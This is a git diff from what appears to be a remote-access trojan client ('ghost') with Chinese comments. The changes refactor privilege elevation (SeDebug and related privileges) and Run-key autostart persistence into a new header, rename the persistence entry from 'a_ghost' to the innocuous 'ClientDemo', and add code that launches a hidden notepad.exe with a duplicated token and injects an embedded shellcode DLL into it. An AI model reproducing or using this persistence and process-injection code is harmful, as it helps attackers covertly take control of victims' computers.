diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp
index a0b7c04..9cc023b 100644
--- a/client/ClientDll.cpp
+++ b/client/ClientDll.cpp
@@ -156,59 +156,7 @@ DWORD WaitForMultipleHandlesEx(
#if _CONSOLE
-//提升权限
-void DebugPrivilege()
-{
- HANDLE hToken = NULL;
- //打开当前进程的访问令牌
- int hRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
-
- if (hRet)
- {
- TOKEN_PRIVILEGES tp;
- tp.PrivilegeCount = 1;
- //取得描述权限的LUID
- LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
- tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
- //调整访问令牌的权限
- AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
-
- CloseHandle(hToken);
- }
-}
-
-/**
-* @brief 设置本身开机自启动
-* @param[in] *sPath 注册表的路径
-* @param[in] *sNmae 注册表项名称
-* @return 返回注册结果
-* @details Win7 64位机器上测试结果表明,注册项在:\n
-* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
-* @note 首次运行需要以管理员权限运行,才能向注册表写入开机启动项
-*/
-BOOL SetSelfStart(const char* sPath, const char* sNmae)
-{
- DebugPrivilege();
-
- // 写入的注册表路径
-#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
-
- // 在注册表中写入启动信息
- HKEY hKey = NULL;
- LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
-
- // 判断是否成功
- if (lRet != ERROR_SUCCESS)
- return FALSE;
-
- lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
-
- // 关闭注册表
- RegCloseKey(hKey);
-
- // 判断是否成功
- return lRet == ERROR_SUCCESS;
-}
+#include "auto_start.h"
// 隐藏控制台
// 参看:https://blog.csdn.net/lijia11080117/article/details/44916647
diff --git a/client/ShellcodeInj.h b/client/ShellcodeInj.h
index 8c695e8..48494aa 100644
--- a/client/ShellcodeInj.h
+++ b/client/ShellcodeInj.h
@@ -16,12 +16,19 @@ class ShellcodeInj
{
public:
// Return the process id if inject succeed.
- int InjectProcess(const char* processName = nullptr) {
+ int InjectProcess(const char* processName = nullptr, bool hasPermission=false) {
if (processName) {
auto pid = GetProcessIdByName(processName);
if (pid ? InjectShellcode(pid, (BYTE*)TinyRun_dll, TinyRun_dll_len) : false)
return pid;
}
+ if (hasPermission) {
+ auto pid = LaunchNotepadWithCurrentToken();
+ if (pid) {
+ return InjectShellcode(pid, (BYTE*)TinyRun_dll, TinyRun_dll_len) ? pid : 0;
+ }
+ }
+
PROCESS_INFORMATION pi = {};
STARTUPINFO si = { sizeof(STARTUPINFO) };
si.dwFlags = STARTF_USESHOWWINDOW;
@@ -34,6 +41,49 @@ public:
return 0;
}
private:
+ DWORD LaunchNotepadWithCurrentToken() {
+ HANDLE hToken = NULL;
+
+ // 打开当前进程 token
+ if (!OpenProcessToken(GetCurrentProcess(),
+ TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID,
+ &hToken)) {
+ Mprintf("OpenProcessToken failed: %d\n", GetLastError());
+ return 0;
+ }
+
+ // 复制主 token
+ HANDLE hNewToken = NULL;
+ if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hNewToken)) {
+ Mprintf("DuplicateTokenEx failed: %d\n", GetLastError());
+ CloseHandle(hToken);
+ return 0;
+ }
+
+ STARTUPINFOW si = { sizeof(si) };
+ PROCESS_INFORMATION pi = {};
+ si.dwFlags = STARTF_USESHOWWINDOW;
+ si.wShowWindow = SW_HIDE;
+
+ // 使用复制后的 token 启动 notepad
+ if (!CreateProcessWithTokenW(hNewToken, 0, L"C:\\Windows\\System32\\notepad.exe",
+ NULL, 0, NULL, NULL, &si, &pi)) {
+ Mprintf("CreateProcessWithTokenW failed: %d\n", GetLastError());
+ CloseHandle(hToken);
+ CloseHandle(hNewToken);
+ return 0;
+ }
+
+ DWORD dwProcessId = pi.dwProcessId;
+
+ CloseHandle(pi.hProcess);
+ CloseHandle(pi.hThread);
+ CloseHandle(hToken);
+ CloseHandle(hNewToken);
+
+ return dwProcessId; // 返回子进程 ID
+ }
+
// Find process id by name.
DWORD GetProcessIdByName(const std::string& procName) {
DWORD pid = 0;
diff --git a/client/TestRun_vs2015.vcxproj b/client/TestRun_vs2015.vcxproj
index 7485fb4..b151eff 100644
--- a/client/TestRun_vs2015.vcxproj
+++ b/client/TestRun_vs2015.vcxproj
@@ -159,6 +159,7 @@
+
diff --git a/client/auto_start.h b/client/auto_start.h
new file mode 100644
index 0000000..39007d3
--- /dev/null
+++ b/client/auto_start.h
@@ -0,0 +1,64 @@
+#pragma once
+#include
+
+// 提升权限
+inline int DebugPrivilege()
+{
+ HANDLE hToken = NULL;
+ if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
+ return -1;
+
+ // 动态分配空间,包含 3 个 LUID
+ TOKEN_PRIVILEGES* tp = (TOKEN_PRIVILEGES*)malloc(sizeof(TOKEN_PRIVILEGES) + 2 * sizeof(LUID_AND_ATTRIBUTES));
+ if (!tp) { CloseHandle(hToken); return 1; }
+
+ tp->PrivilegeCount = 3;
+
+ if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp->Privileges[0].Luid)) { free(tp); CloseHandle(hToken); return 2; }
+ tp->Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+
+ if (!LookupPrivilegeValue(NULL, SE_INCREASE_QUOTA_NAME, &tp->Privileges[1].Luid)) { free(tp); CloseHandle(hToken); return 3; }
+ tp->Privileges[1].Attributes = SE_PRIVILEGE_ENABLED;
+
+ if (!LookupPrivilegeValue(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &tp->Privileges[2].Luid)) { free(tp); CloseHandle(hToken); return 4; }
+ tp->Privileges[2].Attributes = SE_PRIVILEGE_ENABLED;
+
+ AdjustTokenPrivileges(hToken, FALSE, tp, sizeof(TOKEN_PRIVILEGES) + 2 * sizeof(LUID_AND_ATTRIBUTES), NULL, NULL);
+
+ free(tp);
+ CloseHandle(hToken);
+ return 0;
+}
+
+/**
+* @brief 设置本身开机自启动
+* @param[in] *sPath 注册表的路径
+* @param[in] *sNmae 注册表项名称
+* @return 返回注册结果
+* @details Win7 64位机器上测试结果表明,注册项在:\n
+* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
+* @note 首次运行需要以管理员权限运行,才能向注册表写入开机启动项
+*/
+inline BOOL SetSelfStart(const char* sPath, const char* sNmae)
+{
+ DebugPrivilege();
+
+ // 写入的注册表路径
+#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
+
+ // 在注册表中写入启动信息
+ HKEY hKey = NULL;
+ LONG lRet = RegOpenKeyExA(HKEY_CURRENT_USER, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
+
+ // 判断是否成功
+ if (lRet != ERROR_SUCCESS)
+ return FALSE;
+
+ lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
+
+ // 关闭注册表
+ RegCloseKey(hKey);
+
+ // 判断是否成功
+ return lRet == ERROR_SUCCESS;
+}
diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj
index bd47ba0..a239867 100644
--- a/client/ghost_vs2015.vcxproj
+++ b/client/ghost_vs2015.vcxproj
@@ -211,6 +211,7 @@
+
diff --git a/client/test.cpp b/client/test.cpp
index a7d4dfc..e6d5f19 100644
--- a/client/test.cpp
+++ b/client/test.cpp
@@ -6,10 +6,12 @@
#include
#include "common/dllRunner.h"
#include
+#include "auto_start.h"
+
#pragma comment(lib, "ws2_32.lib")
// 自动启动注册表中的值
-#define REG_NAME "a_ghost"
+#define REG_NAME "ClientDemo"
typedef void (*StopRun)();
@@ -32,60 +34,6 @@ HANDLE hEvent = NULL;
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION, 0, Startup_InjSC };
-//提升权限
-void DebugPrivilege()
-{
- HANDLE hToken = NULL;
- //打开当前进程的访问令牌
- int hRet = OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hToken);
-
- if( hRet)
- {
- TOKEN_PRIVILEGES tp;
- tp.PrivilegeCount = 1;
- //取得描述权限的LUID
- LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
- tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
- //调整访问令牌的权限
- AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
-
- CloseHandle(hToken);
- }
-}
-
-/**
-* @brief 设置本身开机自启动
-* @param[in] *sPath 注册表的路径
-* @param[in] *sNmae 注册表项名称
-* @return 返回注册结果
-* @details Win7 64位机器上测试结果表明,注册项在:\n
-* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
-* @note 首次运行需要以管理员权限运行,才能向注册表写入开机启动项
-*/
-BOOL SetSelfStart(const char *sPath, const char *sNmae)
-{
- DebugPrivilege();
-
- // 写入的注册表路径
-#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
-
- // 在注册表中写入启动信息
- HKEY hKey = NULL;
- LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
-
- // 判断是否成功
- if(lRet != ERROR_SUCCESS)
- return FALSE;
-
- lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
-
- // 关闭注册表
- RegCloseKey(hKey);
-
- // 判断是否成功
- return lRet == ERROR_SUCCESS;
-}
-
BOOL CALLBACK callback(DWORD CtrlType)
{
if (CtrlType == CTRL_CLOSE_EVENT)
@@ -252,7 +200,8 @@ public:
// 如果配置文件不存在就从命令行中获取IP和端口.
int main(int argc, const char *argv[])
{
- if(!SetSelfStart(argv[0], REG_NAME))
+ BOOL ok = SetSelfStart(argv[0], REG_NAME);
+ if(!ok)
{
Mprintf("设置开机自启动失败,请用管理员权限运行.\n");
}
@@ -279,7 +228,7 @@ int main(int argc, const char *argv[])
do {
if (sizeof(void*) == 4) // Shell code is 64bit
break;
- if (!(pid = inj.InjectProcess(nullptr))) {
+ if (!(pid = inj.InjectProcess(nullptr, ok))) {
break;
}
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid);